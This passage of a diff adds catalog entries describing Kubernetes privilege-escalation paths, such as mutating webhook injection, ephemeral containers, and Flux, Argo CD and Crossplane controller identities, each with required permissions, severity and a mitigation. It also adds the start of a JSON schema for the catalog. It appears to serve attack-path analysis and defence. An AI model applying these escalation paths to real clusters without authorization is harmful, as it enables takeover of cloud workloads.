exec previously required only get; since v1.35 create is required by default. + +- id: k8s-workloads-pods-attach + provider: k8s + service: workloads + title: Attach to the process streams of existing pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-interactive-subresources + source_revision: 171e422 + summary: The source can obtain the privileges of ServiceAccounts mounted in pods whose main process accepts interactive input. + requires: + all_of: + - verb: create + resource: pods + subresource: attach + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_sa_used_by_running_pod: true + scope: same_namespace + aggregate_as: "ServiceAccounts of interactive running pods in {target.namespace}" + conditions: + - id: container_stdin_interactive + description: The target container must have stdin enabled and run a process (e.g. a shell or REPL) that executes attacker input; most containers do not. + blockers: [] + confidence: derived + severity: medium + mitigation: Restrict pods/attach like pods/exec; avoid stdin/tty in production containers. + references: + - https://kubernetes.io/docs/reference/kubectl/generated/kubectl_attach/ + notes: Pod spec stdin is collected in the snapshot only if the collector keeps container fields; otherwise this stays conditional. + +- id: k8s-workloads-pods-ephemeralcontainers + provider: k8s + service: workloads + title: Add an ephemeral container to existing pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#ephemeralcontainers + source_revision: 171e422 + summary: The source can obtain the privileges of the ServiceAccounts used by existing pods in the namespace by adding an ephemeral container that shares their volumes. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: pods, subresource: ephemeralcontainers, namespace: "{target.namespace}"} + - - {verb: update, resource: pods, subresource: ephemeralcontainers, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_sa_used_by_running_pod: true + scope: same_namespace + aggregate_as: "ServiceAccounts of running pods in {target.namespace}" + conditions: + - id: admission_restricts_ephemeral + description: Admission policies covering ephemeral containers may reject them; PSA also evaluates ephemeral containers. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Grant pods/ephemeralcontainers only to debugging break-glass roles. + references: + - https://kubernetes.io/docs/concepts/workloads/pods/ephemeral-containers/ + notes: An ephemeral container can mount the pod's existing volumes, including the projected ServiceAccount token volume. Privileged ephemeral containers reaching the node are modelled in nodes.yaml. + +- id: k8s-workloads-mutating-webhook-injection + provider: k8s + service: admission + title: Register or modify a mutating admission webhook + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#validatingwebhookconfigurations-or-mutatingwebhookconfigurations + source_revision: 171e422 + summary: The source can obtain the privileges of ServiceAccounts in any namespace where pods are created after the webhook is in place, by mutating those pods. + requires: + all_of: [] + any_of: + - - {verb: create, resource: mutatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: patch, resource: mutatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: update, resource: mutatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + scope: cluster + aggregate_as: "ServiceAccounts of namespaces with new pod creations in {cluster}" + conditions: + - id: webhook_backend_controlled + description: The source needs an HTTPS endpoint it controls that the API server can reach (external URL or an in-cluster Service it can deploy) and a CA it controls in the configuration. + - id: new_pod_creation_occurs + description: Only pods created or updated after registration are mutated; namespaces with no pod churn are reached only after a restart or rollout. + blockers: [] + confidence: derived + severity: critical + mitigation: Restrict writes to mutatingwebhookconfigurations to cluster administrators and alert on new or changed webhook registrations. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/ + notes: A mutating webhook can change serviceAccountName, add containers or make pods privileged, so the reachable set is all SAs in the matched namespaces (and nodes, through privileged injection). Webhooks are never called for admission configuration objects themselves. + +- id: k8s-workloads-mutating-admission-policy-injection + provider: k8s + service: admission + title: Create or modify a MutatingAdmissionPolicy and its binding + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#mutatingadmissionpolicy-code-injection + source_revision: 171e422 + summary: The source can obtain the privileges of ServiceAccounts in any namespace where pods are created after the policy is in place, by mutating those pods in-process. + requires: + all_of: [] + any_of: + - - {verb: create, resource: mutatingadmissionpolicies, api_group: admissionregistration.k8s.io, namespace: "*"} + - {verb: create, resource: mutatingadmissionpolicybindings, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: patch, resource: mutatingadmissionpolicies, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: update, resource: mutatingadmissionpolicies, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: create, resource: mutatingadmissionpolicies, api_group: admissionregistration.k8s.io, namespace: "*"} + - {verb: patch, resource: mutatingadmissionpolicybindings, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: create, resource: mutatingadmissionpolicies, api_group: admissionregistration.k8s.io, namespace: "*"} + - {verb: update, resource: mutatingadmissionpolicybindings, api_group: admissionregistration.k8s.io, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + scope: cluster + aggregate_as: "ServiceAccounts of namespaces with new pod creations in {cluster}" + conditions: + - id: mutating_admission_policy_served + description: The MutatingAdmissionPolicy API must be enabled/served on the cluster version. + - id: existing_policy_bound + description: The patch/update-only policy groups require an existing policy that is already bound to pod creations; the create-policy plus patch/update-binding groups require an existing binding to repoint. + - id: new_pod_creation_occurs + description: Only pods created after the change are mutated. + blockers: [] + confidence: derived + severity: critical + mitigation: Restrict writes to mutatingadmissionpolicies and their bindings to cluster administrators. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/ + notes: No external backend is needed (CEL runs in the API server). HackTricks reproduced injection of an init container into later pods. + +- id: k8s-workloads-mutating-admission-policy-half-pair + provider: k8s + service: admission + title: Complete a MutatingAdmissionPolicy and binding pair with one half only + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#mutatingadmissionpolicy-code-injection + source_revision: a66f094ede + summary: The source can obtain the privileges of ServiceAccounts of later-created pods by creating the policy an existing binding references but is missing, or by creating or repointing a binding to an existing policy whose mutation injects code. + requires: + all_of: [] + any_of: + - - {verb: create, resource: mutatingadmissionpolicies, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: create, resource: mutatingadmissionpolicybindings, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: patch, resource: mutatingadmissionpolicybindings, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: update, resource: mutatingadmissionpolicybindings, api_group: admissionregistration.k8s.io, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + scope: cluster + aggregate_as: "ServiceAccounts of namespaces with new pod creations in {cluster}" + conditions: + - id: mutating_admission_policy_served + description: The MutatingAdmissionPolicy API must be enabled/served on the cluster version. + - id: dangling_binding_exists + description: The create-policy alternative needs an existing binding whose policyName names a policy that does not exist yet. + - id: injecting_policy_exists + description: The binding alternatives need an existing (unbound or differently bound) policy whose mutation runs code or otherwise hands the source a pod identity; a benign policy gives nothing. + - id: new_pod_creation_occurs + description: Only pods created after the change are mutated. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict writes to mutatingadmissionpolicies and their bindings to cluster administrators; delete bindings whose policy is missing and policies that are not bound. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/ + notes: HackTricks (a66f094ede) reproduced each half independently (patch binding to repoint policyName, create binding for an existing unbound policy, create policy filling a dangling binding). Holding both halves (or patch/update on the policy) is k8s-workloads-mutating-admission-policy-injection. Policy contents and dangling policyName references are not evaluated. + +- id: k8s-workloads-configmap-executed-by-workload + provider: k8s + service: workloads + title: Modify a ConfigMap that a running workload executes + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#consumed-configuration-as-code + source_revision: a66f094ede + summary: The source can obtain the privileges of ServiceAccounts whose pods consume a ConfigMap it can modify, when that ConfigMap carries a script or configuration the workload executes. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: configmaps, namespace: "{target.namespace}"} + - - {verb: update, resource: configmaps, namespace: "{target.namespace}"} + # Replace the ConfigMap: delete it and create one with the same name. + - - {verb: delete, resource: configmaps, namespace: "{target.namespace}"} + - {verb: create, resource: configmaps, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_sa_used_by_pod_consuming_configmap: true + scope: same_namespace + aggregate_as: "ServiceAccounts of ConfigMap-consuming pods in {target.namespace}" + conditions: + - id: configmap_consumer_executes_content_not_verified + description: Only ConfigMaps that the workload runs as code (mounted scripts, interpreter or hook configuration) give execution; inert data does not. The grant must also cover the consumed ConfigMap name. + - id: consumer_reload_required + description: Mounted ConfigMaps update in place, but env/envFrom values only apply when a new pod starts (next Job run or restart). + blockers: [] + confidence: conditional + severity: high + mitigation: Keep executable content in images rather than ConfigMaps, restrict configmaps update/patch with resourceNames, and keep privileged ServiceAccounts' workloads in namespaces without tenant write access. + references: + - https://kubernetes.io/docs/concepts/configuration/configmap/ + notes: The selector lists ServiceAccounts of running pods that reference any ConfigMap (volume, projected volume, envFrom, configMapKeyRef; kube-root-ca.crt ignored); whether the content is executed cannot be derived from the inventory. + +- id: k8s-workloads-flux-kustomization-controller-identity + provider: k8s + service: gitops + title: Create a Flux Kustomization without a ServiceAccount so kustomize-controller applies it + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#flux-kustomization-without-a-tenant-serviceaccount + source_revision: 171e422 + summary: The source can obtain the privileges of the Flux kustomize-controller ServiceAccount by creating a Kustomization + that selects attacker-controlled content in an existing or newly created Flux source and is reconciled with + the controller identity. + requires: + all_of: + - verb: create + resource: kustomizations + api_group: kustomize.toolkit.fluxcd.io + namespace: '{pivot.namespace}' + target: + kind: k8s_service_account + selector: + k8s_sa_name: kustomize-controller + scope: cluster + aggregate_as: Flux kustomize-controller of {cluster} + conditions: + - id: flux_default_service_account_flag + description: The controller flag --default-service-account makes Kustomizations without spec.serviceAccountName + impersonate a tenant ServiceAccount instead; controller arguments are not collected. + - id: flux_controller_rbac + description: The reached privileges are the kustomize-controller ServiceAccount's effective bindings, which + must exceed the caller's grants. + - id: source_controlled_by_attacker + description: The Kustomization must reference an existing or newly created source artifact containing attacker-controlled + content; source-controller egress and --no-cross-namespace-refs can restrict the reference. This fact is not + proved by create permission alone. + blockers: [] + confidence: conditional + severity: critical + mitigation: Enable Flux multi-tenancy lockdown (--default-service-account, --no-cross-namespace-refs), restrict + Kustomization creation, and protect the referenced source content. + references: + - https://fluxcd.io/flux/components/kustomize/kustomizations/#role-based-access-control + - https://fluxcd.io/flux/installation/configuration/multitenancy/ + notes: Selected by ServiceAccount name in any namespace (usually flux-system). Patching an existing Kustomization's + path/sourceRef is modelled by k8s-workloads-flux-kustomization-patch-controller-identity. + +- id: k8s-workloads-flux-kustomization-patch-controller-identity + provider: k8s + service: gitops + title: Repoint an existing Flux Kustomization reconciled by kustomize-controller + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#other-gitops-and-platform-controller-source-changes + source_revision: 171e422 + summary: The source can obtain the privileges of the Flux kustomize-controller ServiceAccount by changing spec.path (or sourceRef) of an existing Kustomization that has no spec.serviceAccountName. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: kustomizations, api_group: kustomize.toolkit.fluxcd.io, namespace: "{pivot.namespace}"} + - - {verb: update, resource: kustomizations, api_group: kustomize.toolkit.fluxcd.io, namespace: "{pivot.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_name: kustomize-controller + scope: cluster + aggregate_as: "Flux kustomize-controller of {cluster}" + conditions: + - id: kustomization_without_service_account + description: The patched Kustomization must not set spec.serviceAccountName (or the source can also remove it) and the controller must not run with --default-service-account; Kustomization specs and controller arguments are not collected. + - id: attacker_content_in_source + description: The new path must exist in an artifact the source controls (or sourceRef must be switchable to a source it controls); repointing only to existing trusted content proves the controller write but not an arbitrary one. + - id: flux_controller_rbac + description: The default Flux install binds cluster-admin to kustomize-controller; the reached privileges are those of that binding. + blockers: [] + confidence: conditional + severity: high + mitigation: Set spec.serviceAccountName on every tenant Kustomization, run kustomize-controller with --default-service-account and --no-cross-namespace-refs, and restrict patch/update on Kustomizations. + references: + - https://fluxcd.io/flux/components/kustomize/kustomizations/#role-based-access-control + - https://fluxcd.io/flux/installation/configuration/multitenancy/ + notes: HackTricks (171e422) demonstrates switching spec.path of a dedicated Kustomization to a marker directory already present in its source artifact. + +- id: k8s-workloads-crossplane-provider-kubernetes-identity + provider: k8s + service: gitops + title: Write Crossplane provider-kubernetes Objects applied with the provider identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#other-gitops-and-platform-controller-source-changes + source_revision: 171e422 + summary: The source can obtain the privileges of the Crossplane provider-kubernetes ServiceAccount by creating or changing an Object whose forProvider.manifest the provider applies with its own identity. + requires: + all_of: [] + any_of: + - - {verb: create, resource: objects, api_group: kubernetes.m.crossplane.io, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: objects, api_group: kubernetes.m.crossplane.io, namespace: "{pivot.namespace}"} + - - {verb: update, resource: objects, api_group: kubernetes.m.crossplane.io, namespace: "{pivot.namespace}"} + - - {verb: create, resource: objects, api_group: kubernetes.crossplane.io, namespace: "*"} + - - {verb: patch, resource: objects, api_group: kubernetes.crossplane.io, namespace: "*"} + - - {verb: update, resource: objects, api_group: kubernetes.crossplane.io, namespace: "*"} + target: + kind: k8s_service_account + selector: + target_name_glob: "provider-kubernetes-*" + scope: cluster + aggregate_as: "Crossplane provider-kubernetes identity of {cluster}" + conditions: + - id: providerconfig_injected_identity + description: The referenced ProviderConfig must use the in-cluster provider identity (InjectedIdentity); a ProviderConfig with a kubeconfig Secret applies with that credential, possibly in another cluster, which is not modelled. ProviderConfigs are not collected. + - id: providerconfig_referenceable + description: The namespaced API (kubernetes.m.crossplane.io) only resolves ProviderConfigs visible from the Object's namespace (or a ClusterProviderConfig); the legacy cluster-scoped API (kubernetes.crossplane.io) can reference any ProviderConfig. + - id: provider_rbac + description: The reached privileges are those bound to the provider ServiceAccount (often broad, sometimes cluster-admin, for InjectedIdentity setups). + blockers: [] + confidence: conditional + severity: high + mitigation: Bind narrow RBAC to the provider-kubernetes ServiceAccount, use per-tenant ProviderConfigs and restrict who can write Object resources. + references: + - https://github.com/crossplane-contrib/provider-kubernetes + notes: HackTricks (171e422) verifies the installed API version first (namespaced kubernetes.m.crossplane.io/v1alpha1, older cluster-scoped kubernetes.crossplane.io). The provider ServiceAccount name is generated per package revision, hence the provider-kubernetes-* name glob. + +- id: k8s-workloads-flux-helmrelease-controller-identity + provider: k8s + service: gitops + title: Create a Flux HelmRelease without a ServiceAccount so helm-controller installs it + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#gitops-and-platform-controller-deputies + source_revision: 171e422 + summary: The source can obtain the privileges of the Flux helm-controller ServiceAccount by creating a HelmRelease + that renders attacker-controlled chart content from an existing or newly created referenceable source under + the controller identity. + requires: + all_of: + - verb: create + resource: helmreleases + api_group: helm.toolkit.fluxcd.io + namespace: '{pivot.namespace}' + target: + kind: k8s_service_account + selector: + k8s_sa_name: helm-controller + scope: cluster + aggregate_as: Flux helm-controller of {cluster} + conditions: + - id: flux_default_service_account_flag + description: With --default-service-account, or an explicit spec.serviceAccountName, the HelmRelease uses a + tenant ServiceAccount instead of helm-controller; controller arguments and the proposed HelmRelease spec must + be checked. + - id: flux_controller_rbac + description: The reached privileges are helm-controller's effective bindings, which must exceed the caller's + grants. + - id: source_and_rendered_content_controlled_by_attacker + description: The new HelmRelease must reference an existing or newly created source whose selected chart revision + or values the attacker controls and whose rendered objects exercise the stronger privilege. Reference policy, + reconciliation, and admission must allow the objects; source-create permission alone proves none of these + facts. + blockers: [] + confidence: conditional + severity: critical + mitigation: Enable Flux multi-tenancy lockdown, restrict HelmRelease creation, and protect the referenced chart + source and values. + references: + - https://fluxcd.io/flux/components/helm/helmreleases/#role-based-access-control + - https://fluxcd.io/flux/installation/configuration/multitenancy/ + notes: Chart values, hooks and dependencies all render under the controller identity (see helm-template-injection.md). + +- id: k8s-workloads-argocd-application-controller-identity + provider: k8s + service: gitops + title: Create or modify an Argo CD Application so the application controller deploys attacker content + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#other-gitops-and-platform-controller-source-changes + source_revision: 171e422 + summary: The source can obtain the privileges of the Argo CD application controller by writing an Application object in the Argo CD namespace whose project permits its repository, destination and resource kinds. + requires: + all_of: [] + any_of: + - - {verb: create, resource: applications, api_group: argoproj.io, namespace: argocd} + - - {verb: patch, resource: applications, api_group: argoproj.io, namespace: argocd} + - - {verb: update, resource: applications, api_group: argoproj.io, namespace: argocd} + target: + kind: k8s_service_account + selector: + k8s_sa_name: argocd-application-controller + k8s_sa_in_namespace: argocd + scope: cluster + aggregate_as: "Argo CD application controller of {cluster}" + conditions: + - id: appproject_restrictions + description: The Application's AppProject (default project allows any repository, destination and kind) may restrict sourceRepos, destinations and cluster/namespace resource whitelists; AppProjects are not evaluated. + - id: argocd_namespace_name + description: Applications are only processed in the Argo CD control namespace (argocd by default) unless "applications in any namespace" is enabled. + - id: sync_required + description: Changes deploy only with automated sync or a later manual sync. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict Kubernetes RBAC on applications/appprojects in the Argo CD namespace, scope AppProjects (sourceRepos, destinations, clusterResourceWhitelist), and run namespace-scoped controllers where possible. + references: + - https://argo-cd.readthedocs.io/en/stable/user-guide/projects/ + - https://argo-cd.readthedocs.io/en/stable/operator-manual/security/ + notes: Direct Kubernetes API writes bypass Argo CD's own RBAC (argocd-rbac-cm). The default cluster-scoped install grants the application controller all verbs on all resources; destinations in other registered clusters use their stored credentials (not modelled). Writing appprojects in the Argo CD namespace removes the project restrictions and is covered by the same condition. + +- id: k8s-workloads-pods-mount-argocd-cluster-credential + provider: k8s + service: workloads + title: Mount an Argo CD managed-cluster credential in a Pod + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#pod-creation-policy-gaps + source_revision: 0b36331 + summary: A Pod author can obtain the registered-cluster identity from a credential-bearing Argo CD Secret in the + same namespace without Secret-read RBAC. + requires: + all_of: [] + any_of: + - - verb: create + resource: pods + namespace: '{target.namespace}' + - - verb: create + resource: deployments + api_group: apps + namespace: '{target.namespace}' + - - verb: create + resource: daemonsets + api_group: apps + namespace: '{target.namespace}' + - - verb: create + resource: statefulsets + api_group: apps + namespace: '{target.namespace}' + - - verb: create + resource: replicasets + api_group: apps + namespace: '{target.namespace}' + - - verb: create + resource: replicationcontrollers + namespace: '{target.namespace}' + - - verb: create + resource: jobs + api_group: batch + namespace: '{target.namespace}' + - - verb: create + resource: cronjobs + api_group: batch + namespace: '{target.namespace}' + target: + kind: k8s_remote_cluster + outcome: credentials + selector: + k8s_secret_holds_remote_cluster_credential: argocd.argoproj.io/secret-type=cluster + scope: cluster + aggregate_as: Argo CD registered-cluster credentials in {cluster} + conditions: + - id: same_namespace_and_admitted_pod + description: A Pod produced by the grant must run in the Secret namespace and be admitted with a Secret volume + or environment reference; admission may deny the Pod, reference, image, or controller. + - id: usable_remote_cluster_credential + description: The Secret config must contain a currently usable bearer token or client certificate. An Argo CD + label or exec credential-provider configuration alone does not prove this. + blockers: + - admission_policy + - admission_webhook + - kyverno_policy + - gatekeeper_constraint + confidence: unknown + severity: high + mitigation: Restrict Pod and controller creation in namespaces holding Argo CD cluster credentials; enforce Secret-reference + admission rules. + references: + - https://kubernetes.io/docs/concepts/configuration/secret/ + - https://argo-cd.readthedocs.io/en/stable/operator-manual/declarative-setup/#clusters + notes: Draft only. The current selector reads labels, never Secret data; the evaluator must keep this edge UNKNOWN + until the credential-evidence fact is collected. Runtime admission and credential validity may still keep it + UNKNOWN. The same edge covers the Jenkins Pod-YAML discussion. diff --git a/src/privilege-escalation-paths-research/privesc-technique.schema.json b/src/privilege-escalation-paths-research/privesc-technique.schema.json new file mode 100644 index 0000000000..99c669d956 --- /dev/null +++ b/src/privilege-escalation-paths-research/privesc-technique.schema.json @@ -0,0 +1,4926 @@ +{ + "$defs": { + "aws_conjunction": { + "items": { + "$ref": "#/$defs/aws_item" + }, + "minItems": 1, + "type": "array" + }, + "aws_group": { + "additionalProperties": false, + "minProperties": 1, + "oneOf": [ + { + "required": [ + "all_of" + ] + }, + { + "required": [ + "any_of" + ] + } + ], + "properties": { + "all_of": { + "$ref": "#/$defs/aws_conjunction" + }, + "any_of": { + "items": { + "anyOf": [ + { + "$ref": "#/$defs/aws_item" + }, + { + "$ref": "#/$defs/aws_conjunction" + } + ] + }, + "minItems": 1, + "type": "array" + }, + "notes": { + "type": "string" + } + }, + "type": "object" + }, + "aws_item": { + "anyOf": [ + { + "$ref": "#/$defs/aws_requirement" + }, + { + "$ref": "#/$defs/aws_group" + } + ] + }, + "aws_requirement": { + "additionalProperties": false, + "properties": { + "action": { + "description": "Concrete IAM action 'service:Action' (no wildcards).", + "pattern": "^[A-Za-z0-9-]+:[A-Za-z0-9]+$", + "type": "string" + }, + "bind": { + "description": "Requirements with the same bind name must hold on ONE common resource the source picks.", + "pattern": "^[a-z][a-z0-9_]{0,40}$", + "type": "string" + }, + "notes": { + "type": "string" + }, + "request_context": { + "additionalProperties": { + "anyOf": [ + { + "type": "string" + }, + { + "description": "The requester picks one value.", + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + { + "additionalProperties": false, + "properties": { + "absent": { + "const": true + } + }, + "required": [ + "absent" + ], + "type": "object" + }, + { + "additionalProperties": false, + "properties": { + "chosen": { + "const": true + } + }, + "required": [ + "chosen" + ], + "type": "object" + }, + { + "additionalProperties": false, + "properties": { + "admin_managed_policy": { + "const": true + } + }, + "required": [ + "admin_managed_policy" + ], + "type": "object" + }, + { + "additionalProperties": false, + "properties": { + "source_principal": { + "const": true + } + }, + "required": [ + "source_principal" + ], + "type": "object" + }, + { + "additionalProperties": false, + "properties": { + "values": { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + }, + "required": [ + "values" + ], + "type": "object" + } + ] + }, + "description": "Condition-key values carried by the technique's own request.", + "minProperties": 1, + "propertyNames": { + "pattern": "^[A-Za-z0-9-]+:[A-Za-z0-9_./*-]+$" + }, + "type": "object" + }, + "resource": { + "description": "Resource ARN / pattern / placeholder the action must cover ('*' = any).", + "type": "string" + } + }, + "required": [ + "action" + ], + "type": "object" + }, + "aws_technique": { + "properties": { + "id": { + "pattern": "^aws-[a-z0-9]+(-[a-z0-9]+)*$" + }, + "preconditions": { + "items": { + "anyOf": [ + { + "enum": [ + "agentcore_existing_code_interpreter_role_ready", + "agentcore_existing_runtime_update_and_invoke", + "agentcore_new_harness_generated_scope_and_role_ready", + "agentcore_new_interpreter_broad_name_and_role_ready", + "agentcore_new_runtime_generated_scope_and_role_ready", + "amplify_compute_role_ssr_effect_unverified", + "amplify_service_role_build_effect_unverified", + "amplifybackend_create_token_backend_scope", + "apprunner_existing_customer_account", + "apprunner_existing_image_service_update", + "apprunner_existing_instance_role_update", + "apprunner_mutable_ecr_autodeploy_instance_role", + "appstream_existing_app_block_builder_role_session", + "appstream_existing_app_block_builder_role_swap", + "appstream_existing_fleet_role_session", + "appstream_existing_fleet_role_swap", + "appstream_existing_image_builder_role_session", + "appstream_new_app_block_builder_with_role", + "appstream_new_fleet_with_role", + "appstream_new_image_builder_with_role", + "appsync_new_api_global_setup", + "assumable_role_allows_account_admin", + "athena_existing_notebook_url_role", + "athena_existing_session_calculation_role", + "athena_existing_spark_connect_role", + "autoscaling_created_launch_input_role_effect_reviewed", + "batch_existing_definition_submitjob_role", + "batch_new_job_and_ec2_queue_authorized", + "bedrock_agent_actiongroup_lambda_execution_unverified", + "braket_createjob_device_authorized", + "cloudcontrol_source_can_create_admin_user", + "cloudformation_attached_role_changeset_executable", + "cloudformation_attached_role_stack_updatable", + "cloudformation_existing_stack_updatable_with_role", + "cloudformation_extension_package_and_invocation", + "cloudformation_new_changeset_with_role", + "cloudformation_new_stack_with_role", + "cloudformation_service_managed_stackset_targetable", + "cloudfront_edge_distribution_and_service_roles", + "codebuild_existing_project_buildspec_override", + "codebuild_existing_project_role_and_build", + "codebuild_existing_project_update_buildspec", + "codebuild_new_project_role_and_build", + "codebuild_running_sandbox_command", + "codebuild_running_sandbox_connection", + "codebuild_ssm_debug_session_role_effect_reviewed", + "codepipeline_existing_project_update_buildspec", + "codepipeline_new_codecommit_project_route", + "codepipeline_new_ecr_project_route", + "codepipeline_new_s3_project_route", + "config_automatic_remediation_effect_unverified", + "created_org_access_role_assumable", + "datapipeline_existing_customer_role_pair_and_runnable_ec2", + "deadline_existing_queue_role_vend", + "deadline_existing_worker_role_vend", + "deadline_fleet_worker_binding_unverified", + "deadline_fleet_worker_bounded_authority_reviewed", + "deadline_new_worker_role_vend", + "deadline_passrole_queue_role_vend", + "devicefarm_existing_project_new_web_test_role", + "devicefarm_existing_test_spec_role_effect_reviewed", + "ec2_instance_connect_same_running_role_host", + "ec2_instance_running", + "ec2_runinstances_instance_role_effect_reviewed", + "ec2_runinstances_launch_with_passed_profile_unverified", + "ec2_spot_fleet_instance_role_effect_reviewed", + "ec2_spot_fleet_roles_ready", + "ec2_spot_request_instance_role_effect_reviewed", + "ec2_userdata_restart_execution_reviewed", + "ecs_container_instance_exists", + "ecs_exec_live_task_role", + "ecs_existing_task_override_runnable_with_role", + "ecs_external_service_taskset_ready", + "ecs_new_task_definition_eventbridge_schedule_ready", + "ecs_new_task_definition_runtask_ready", + "ecs_new_task_definition_service_ready", + "ecs_new_task_definition_starttask_ready", + "ecs_privileged_task_exact_host_ready", + "ecs_task_definition_exists", + "eks_cluster_exists", + "eks_existing_self_access_entry_can_receive_cluster_admin", + "eks_new_self_access_entry_can_receive_cluster_admin", + "elasticbeanstalk_environment_role_effect_reviewed", + "elasticbeanstalk_environment_role_execution_unverified", + "emr_cluster_endpoint_role_effect_unverified", + "emr_cluster_session_runtime_role", + "emr_containers_endpoint_route", + "emr_containers_job_route", + "emr_containers_pod_identity_job_route", + "emr_existing_cluster_runtime_step_role", + "emr_existing_cluster_step_instance_role", + "emr_new_cluster_instance_role_effect_reviewed", + "emr_new_cluster_role_execution_unverified", + "emr_serverless_job_route", + "eventbridge_subscriber_has_active_bus_and_bound_permissions", + "flink_existing_streaming_inline_code_update", + "flink_existing_studio_role_session", + "flink_new_application_startable", + "gamelift_existing_shared_fleet_role_shell", + "gamelift_new_controlled_build_fleet_role", + "gameliftstreams_controlled_application_role_session", + "gameliftstreams_live_role_session_admin_shell", + "glue_existing_dev_endpoint_ssh_access", + "glue_existing_job_has_runnable_trigger", + "glue_existing_job_script_object_writable_and_runnable", + "glue_existing_session_ready_for_statement", + "glue_job_override_arguments_available", + "glue_job_role_and_execution_bind", + "glue_new_public_dev_endpoint_role", + "glue_new_session_with_statement", + "grafana_api_key_workspace_eligible", + "grafana_existing_admin_service_account_token_ready", + "grafana_saml_workspace_active", + "grafana_service_account_workspace_eligible", + "group_adds_policy_to_source", + "iam_new_role_cross_account_trust", + "iam_role_boundary_admin_gain", + "iam_user_access_key_capacity", + "iam_user_boundary_admin_gain", + "imagebuilder_component_publish_and_pipeline_start", + "iot_existing_alias_new_policy_certificate_same_region", + "iot_new_alias_policy_certificate_same_region", + "kafkaconnect_plugin_execution_unverified", + "lambda_enforced_zip_function_signing_bypass_and_invoke", + "lambda_enforcing_code_signing", + "lambda_existing_sqs_queue_function_and_role", + "lambda_existing_zip_function_direct_invoke_ready", + "lambda_existing_zip_function_role_swap_ready", + "lambda_microvm_shell_runnable_image_and_role", + "lambda_new_dynamodb_stream_function_and_role", + "lambda_policy_rewrite_zip_code_and_invoke_ready", + "lambda_signer_trusted_profile_artifact_unverified", + "m2_existing_environment_new_application_deploy", + "mfa_enrollment_credential_ready", + "mfa_removal_password_ready", + "mgh_automation_unit_home_region_target_and_run", + "migrationhub_orchestrator_bound_workflow_script_and_managed_target", + "mwaa_existing_dag_object_execution_role", + "mwaa_existing_environment_update_with_dag_code", + "mwaa_serverless_new_workflow_definition_and_start", + "quicksight_existing_iam_user_self_admin", + "quicksight_subscribed", + "role_trust_rewrite_assumable", + "rolesanywhere_anchor_profile_trust_join", + "rolesanywhere_new_anchor_profile_role_ready", + "sagemaker_attach_new_notebook_lifecycle_config", + "sagemaker_attached_notebook_lifecycle_update", + "sagemaker_domain_default_new_profile_route", + "sagemaker_existing_profile_role_swap_route", + "sagemaker_hpo_script_mode_route", + "sagemaker_hyperpod_custom_ami_group_role_effect", + "sagemaker_job_execution_route_unverified", + "sagemaker_new_notebook_creation_and_url_authorized", + "sagemaker_new_profile_app_route", + "sagemaker_notebook_instance_accessible", + "sagemaker_processing_inline_entrypoint_route", + "sagemaker_studio_profile_iam_domain_ready", + "sagemaker_studio_profile_lcc_route", + "sagemaker_studio_shared_space_lcc_route", + "sagemaker_training_inline_entrypoint_route", + "service_specific_credential_ready", + "servicecatalog_new_artifact_effect_unverified", + "sfn_existing_state_machine_update_and_start", + "sfn_role_sdk_effect_reviewed", + "source_attached_admin_policy_version_exists", + "source_attached_policy_version_capacity", + "source_boundary_allows_account_admin", + "source_in_org_management_account", + "spot_request_with_passed_profile_and_role_ready", + "ssm_existing_automation_runtime_role_effect_reviewed", + "ssm_hybrid_sendcommand_role", + "ssm_hybrid_startsession_role", + "ssm_incident_response_plan_runs_new_automation_document", + "ssm_jit_approved_online_instance", + "ssm_maintenance_window_automation_task_ready", + 